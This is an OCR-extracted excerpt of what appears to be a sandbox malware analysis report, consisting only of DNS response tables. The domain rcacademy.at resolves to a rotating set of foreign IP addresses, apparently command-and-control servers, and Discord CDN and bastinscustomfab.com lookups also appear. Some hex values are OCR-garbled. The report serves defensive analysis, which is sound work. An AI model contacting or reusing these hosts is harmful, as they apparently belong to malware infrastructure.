18:40:14.098076105
CET

Dec 18, 2021 8.8.8.8
18:40:14.098076105
CET

Dec 18, 2021 8.8.8.8
18:40:14.098076105
CET

Dec 18, 2021 8.8.8.8
18:40:14.098076105
CET

Dec 18, 2021 8.8.8.8
18:40:14.098076105
CET

Dec 18, 2021 8.8.8.8
18:40:14.098076105
CET

Dec 18, 2021 8.8.8.8
18:40:15.578413963
CET

Copyright Joe Security LLC 2021

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

Oxde35

Oxde35

Oxde35

Oxde35

Oxde35

Ox7e7c

Ox7e7c

0x7e7c

0x7e7c

0x7e7c

Ox7e7c

0x7e7c

0x7e7c

0x7e7c

0x7e7c

0x1542

0x1542

0x1542

0x1542

0x1542

0x1542

0x1542

0x1542

0x1542

0x1542

0x7a53

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor

dapp.com

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

CName

Address
162.159.133.233

162.159.134.233

162.159.135.233

162.159.129.233

162.159.130.233

211.169.6.249

187.156.124.76

86.122.134.195

176.44.122.100

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

186.74.208.84

211.171.233.127

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

186.74.208.84

211.171.233.127

211.169.6.249

187.156.124.76

86.122.134.195

176.44.122.100

110.14.121.125

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Dec 18, 2021 8.8.8.8
18:40:15.578413963
CET

Dec 18, 2021 8.8.8.8
18:40:15.578413963
CET

Dec 18, 2021 8.8.8.8
18:40:15.578413963
CET

Dec 18, 2021 8.8.8.8
18:40:15.578413963
CET

Dec 18, 2021 8.8.8.8
18:40:15.578413963
CET

Dec 18, 2021 8.8.8.8
18:40:15.578413963
CET

Dec 18, 2021 8.8.8.8
18:40:15.578413963
CET

Dec 18, 2021 8.8.8.8
18:40:15.578413963
CET

Dec 18, 2021 8.8.8.8
18:40:15.578413963
CET

Dec 18, 2021 8.8.8.8
18:40:17.426883936
CET

Dec 18, 2021 8.8.8.8
18:40:17.426883936
CET

Dec 18, 2021 8.8.8.8
18:40:17.426883936
CET

Dec 18, 2021 8.8.8.8
18:40:17.426883936
CET

Dec 18, 2021 8.8.8.8
18:40:17.426883936
CET

Dec 18, 2021 8.8.8.8
18:40:17.426883936
CET

Dec 18, 2021 8.8.8.8
18:40:17.426883936
CET

Dec 18, 2021 8.8.8.8
18:40:17.426883936
CET

Dec 18, 2021 8.8.8.8
18:40:17.426883936
CET

Dec 18, 2021 8.8.8.8
18:40:17.426883936
CET

Dec 18, 2021 8.8.8.8
18:40:18.539047956
CET

Dec 18, 2021 8.8.8.8
18:40:18.539047956
CET

Dec 18, 2021 8.8.8.8
18:40:18.539047956
CET

Dec 18, 2021 8.8.8.8
18:40:18.539047956
CET

Dec 18, 2021 8.8.8.8
18:40:18.539047956
CET

Dec 18, 2021 8.8.8.8
18:40:18.539047956
CET

Dec 18, 2021 8.8.8.8
18:40:18.539047956
CET

Copyright Joe Security LLC 2021

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

0x7a53

0x7a53

0x7a53

0x7a53

0x7a53

0x7a53

0x7a53

0x7a53

0x7a53

0x63de

0x63de

0x63de

0x63de

0x63de

0x63de

0x63de

0x63de

0x63de

0x63de

0x5f

Ox5f

0x5f

0x5f

0x5f

0x5f

0x5f

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

CName

Address
196.200.111.5

148.101.92.159

189.129.153.38

186.74.208.84

211.171.233.127

211.169.6.249

187.156.124.76

86.122.134.195

176.44.122.100

176.44.122.100

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

186.74.208.84

211.171.233.127

211.169.6.249

187.156.124.76

86.122.134.195

187.156.124.76

86.122.134.195

176.44.122.100

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Dec 18, 2021 8.8.8.8
18:40:18.539047956
CET

Dec 18, 2021 8.8.8.8
18:40:18.539047956
CET

Dec 18, 2021 8.8.8.8
18:40:18.539047956
CET

Dec 18, 2021 8.8.8.8
18:40:19.754250050
CET

Dec 18, 2021 8.8.8.8
18:40:21.036040068
CET

Dec 18, 2021 8.8.8.8
18:40:21.036040068
CET

Dec 18, 2021 8.8.8.8
18:40:22.362128973
CET

Dec 18, 2021 8.8.8.8
18:40:22.362128973
CET

Dec 18, 2021 8.8.8.8
18:40:22.362128973
CET

Dec 18, 2021 8.8.8.8
18:40:22.362128973
CET

Dec 18, 2021 8.8.8.8
18:40:22.362128973
CET

Dec 18, 2021 8.8.8.8
18:40:22.362128973
CET

Dec 18, 2021 8.8.8.8
18:40:22.362128973
CET

Dec 18, 2021 8.8.8.8
18:40:22.362128973
CET

Dec 18, 2021 8.8.8.8
18:40:22.362128973
CET

Dec 18, 2021 8.8.8.8
18:40:22.362128973
CET

Dec 18, 2021 8.8.8.8
18:40:22.881037951
CET

Dec 18, 2021 8.8.8.8
18:40:22.881037951
CET

Dec 18, 2021 8.8.8.8
18:40:22.881037951
CET

Dec 18, 2021 8.8.8.8
18:40:22.881037951
CET

Dec 18, 2021 8.8.8.8
18:40:22.881037951
CET

Dec 18, 2021 8.8.8.8
18:40:22.881037951
CET

Dec 18, 2021 8.8.8.8
18:40:22.881037951
CET

Dec 18, 2021 8.8.8.8
18:40:22.881037951
CET

Dec 18, 2021 8.8.8.8
18:40:22.881037951
CET

Dec 18, 2021 8.8.8.8
18:40:22.881037951
CET

Copyright Joe Security LLC 2021

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

0x5f

0x5f

0x5f

0x95f9

0x3828

0x3828

0x7dof

0x7dof

0x7dof

0x7dof

0x7dof

0x7dof

0x7dof

0x7dof

0x7dof

0x7dof

0x5e84

0x5e84

0x5e84

0x5e84

0x5e84

0x5e84

0x5e84

0x5e84

0x5e84

0x5e84

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName

rcacademy.at

rcacademy.at

rcacademy.at

bastinscus

tomfab.com

www.bastin bastinscustomfab.com
scustomfab.com

bastinscus

tomfab.com

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

Address
186.74.208.84

211.171.233.127

211.169.6.249

50.62.140.96

50.62.140.96

176.44.122.100

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

186.74.208.84

211.171.233.127

211.169.6.249

187.156.124.76

86.122.134.195

187.156.124.76

86.122.134.195

176.44.122.100

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

186.74.208.84

211.171.233.127

211.169.6.249

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Dec 18, 2021 8.8.8.8
18:40:24.092679024
CET

Dec 18, 2021 8.8.8.8
18:40:24.092679024
CET

Dec 18, 2021 8.8.8.8
18:40:24.092679024
CET

Dec 18, 2021 8.8.8.8
18:40:24.092679024
CET

Dec 18, 2021 8.8.8.8
18:40:24.092679024
CET

Dec 18, 2021 8.8.8.8
18:40:24.092679024
CET

Dec 18, 2021 8.8.8.8
18:40:24.092679024
CET

Dec 18, 2021 8.8.8.8
18:40:24.092679024
CET

Dec 18, 2021 8.8.8.8
18:40:24.092679024
CET

Dec 18, 2021 8.8.8.8
18:40:24.092679024
CET

Dec 18, 2021 8.8.8.8
18:40:25.310637951
CET

Dec 18, 2021 8.8.8.8
18:40:25.310637951
CET

Dec 18, 2021 8.8.8.8
18:40:25.310637951
CET

Dec 18, 2021 8.8.8.8
18:40:25.310637951
CET

Dec 18, 2021 8.8.8.8
18:40:25.310637951
CET

Dec 18, 2021 8.8.8.8
18:40:25.310637951
CET

Dec 18, 2021 8.8.8.8
18:40:25.310637951
CET

Dec 18, 2021 8.8.8.8
18:40:25.310637951
CET

Dec 18, 2021 8.8.8.8
18:40:25.310637951
CET

Dec 18, 2021 8.8.8.8
18:40:25.310637951
CET

Dec 18, 2021 8.8.8.8
18:40:26.458954096
CET

Dec 18, 2021 8.8.8.8
18:40:26.458954096
CET

Dec 18, 2021 8.8.8.8
18:40:26.458954096
CET

Dec 18, 2021 8.8.8.8
18:40:26.458954096
CET

Dec 18, 2021 8.8.8.8
18:40:26.458954096
CET

Dec 18, 2021 8.8.8.8
18:40:26.458954096
CET

Copyright Joe Security LLC 2021

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

Ox43aa

Ox43aa

Ox43aa

Ox43aa

Ox43aa

Ox43aa

0x43aa

0x43aa

0x43aa

0x43aa

0x798a

0x798a

0x798a

0x798a

0x798a

0x798a

0x798a

0x798a

0x798a

0x798a

Oxaflb

Oxaflb

Oxaflb

Oxaflb

Oxaflb

Oxaflb

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

CName

Address
187.156.124.76

86.122.134.195

176.44.122.100

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

186.74.208.84

211.171.233.127

211.169.6.249

186.74.208.84

211.171.233.127

211.169.6.249

187.156.124.76

86.122.134.195

176.44.122.100

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

186.74.208.84

211.171.233.127

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Dec 18, 2021 8.8.8.8
18:40:26.458954096
CET

Dec 18, 2021 8.8.8.8
18:40:26.458954096
CET

Dec 18, 2021 8.8.8.8
18:40:26.458954096
CET

Dec 18, 2021 8.8.8.8
18:40:26.458954096
CET

Dec 18, 2021 8.8.8.8
18:40:27.937932014
CET

Dec 18, 2021 8.8.8.8
18:40:27.937932014
CET

Dec 18, 2021 8.8.8.8
18:40:27.937932014
CET

Dec 18, 2021 8.8.8.8
18:40:27.937932014
CET

Dec 18, 2021 8.8.8.8
18:40:27.937932014
CET

Dec 18, 2021 8.8.8.8
18:40:27.937932014
CET

Dec 18, 2021 8.8.8.8
18:40:27.937932014
CET

Dec 18, 2021 8.8.8.8
18:40:27.937932014
CET

Dec 18, 2021 8.8.8.8
18:40:27.937932014
CET

Dec 18, 2021 8.8.8.8
18:40:27.937932014
CET

Dec 18, 2021 8.8.8.8
18:40:29.123178959
CET

Dec 18, 2021 8.8.8.8
18:40:29.123178959
CET

Dec 18, 2021 8.8.8.8
18:40:29.123178959
CET

Dec 18, 2021 8.8.8.8
18:40:29.123178959
CET

Dec 18, 2021 8.8.8.8
18:40:29.123178959
CET

Dec 18, 2021 8.8.8.8
18:40:29.123178959
CET

Dec 18, 2021 8.8.8.8
18:40:29.123178959
CET

Dec 18, 2021 8.8.8.8
18:40:29.123178959
CET

Dec 18, 2021 8.8.8.8
18:40:29.123178959
CET

Dec 18, 2021 8.8.8.8
18:40:29.123178959
CET

Dec 18, 2021 8.8.8.8
18:40:30.439140081
CET

Dec 18, 2021 8.8.8.8
18:40:30.439140081
CET

Copyright Joe Security LLC 2021

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

Oxaflb

Oxaflb

Oxaflb

Oxaflb

0x3184

0x3184

0x3184

0x3184

0x3184

0x3184

0x3184

0x3184

0x3184

0x3184

0x77c

0x77c

0x77c

0x77c

0x77c

0x77c

0x77c

0x77c

0x77c

0x77c

0x163

0x163

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

CName

Address
211.169.6.249

187.156.124.76

86.122.134.195

176.44.122.100

187.156.124.76

86.122.134.195

176.44.122.100

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

186.74.208.84

211.171.233.127

211.169.6.249

187.156.124.76

86.122.134.195

176.44.122.100

110.14.121.125

196.200.111.5

148.101.92.159

189.129.153.38

186.74.208.84

211.171.233.127

211.169.6.249

187.156.124.76

86.122.134.195

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Dec 18, 2021 8.8.8.8 192.168.2.3 0x163 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:30.439140081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x163 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:30.439140081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x163 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:30.439140081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x163 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:30.439140081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x163 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:30.439140081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x163 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:30.439140081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x163 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:30.439140081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x163 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:30.439140081
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2eb3 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:31.661027908
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2eb3 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:31.661027908
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2eb3 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:31.661027908
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2eb3 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:31.661027908
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2eb3 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:31.661027908
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2eb3 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:31.661027908
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2eb3 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:31.661027908
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2eb3 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:31.661027908
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2eb3 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:31.661027908
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2eb3 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:31.661027908
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x6033 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:32.866704941
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x6033 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:32.866704941
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x6033 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:32.866704941
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x6033 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:32.866704941
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x6033 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:32.866704941
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x6033 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:32.866704941
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x6033 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:32.866704941
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x6033 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:32.866704941
CET
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Dec 18, 2021 8.8.8.8 192.168.2.3 0x6033 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:32.866704941
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x6033 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:32.866704941
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb605 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:36.156208038
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb605 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:36.156208038
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb605 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:36.156208038
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb605 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:36.156208038
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb605 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:36.156208038
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb605 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:36.156208038
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb605 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:36.156208038
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb605 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:36.156208038
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb605 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:36.156208038
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb605 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:36.156208038
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 ox2777 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:37.378985882
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2777 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:37.378985882
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 ox2777 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:37.378985882
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2777 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:37.378985882
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 ox2777 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:37.378985882
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2777 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:37.378985882
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2777 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:37.378985882
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2777 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:37.378985882
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 ox2777 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:37.378985882
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x2777 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:37.378985882
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x19c8 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:38.346338034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x19c8 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:38.346338034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x19c8 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:38.346338034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x19c8 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:38.346338034
CET
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Dec 18, 2021 8.8.8.8 192.168.2.3 0x19c8 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:38.346338034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x19c8 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:38.346338034
CET

